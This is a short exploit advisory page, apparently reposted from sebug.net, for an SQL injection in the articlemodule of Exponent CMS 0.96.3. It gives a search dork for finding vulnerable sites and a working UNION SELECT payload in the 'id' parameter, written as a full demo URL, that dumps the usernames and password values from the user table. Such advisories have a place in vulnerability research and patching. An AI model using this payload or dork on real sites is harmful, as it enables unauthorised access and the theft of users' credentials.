Sign in

Exponent CMS 0.96.3 (articlemodule) Sql Injection Vulnerability

SEBUG-ID:19095
Published:2010-02-07
Exploit:
[www.sebug.net]
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
Exponent CMS 0.96.3 (articlemodule) Sql Injection Vulnerability
========================================================
   
####################################################################
# Author : T u R c O
# Home   : www.1923Turk.com
# Script : exponentcms
# Dork: "Welcome to Exponent CMS" | "my new exponent site"  inurl:articlemodule
               
   
####################################################################
   
===[ Exploit ]===
   
http://server/index.php?action=view_article&module=articlemodule&id= SQL INJECTION
   
  -1+union+select+1,2,3,password,username,6+from+exponent_user--
 
Demo:
 
http:/server/index.php?action=view_article&module=articlemodule&id=-1+union+select+1,2,3,password,username,6+from+exponent_user--
 
    
#################################################################### 
// sebug.net [2010-02-08]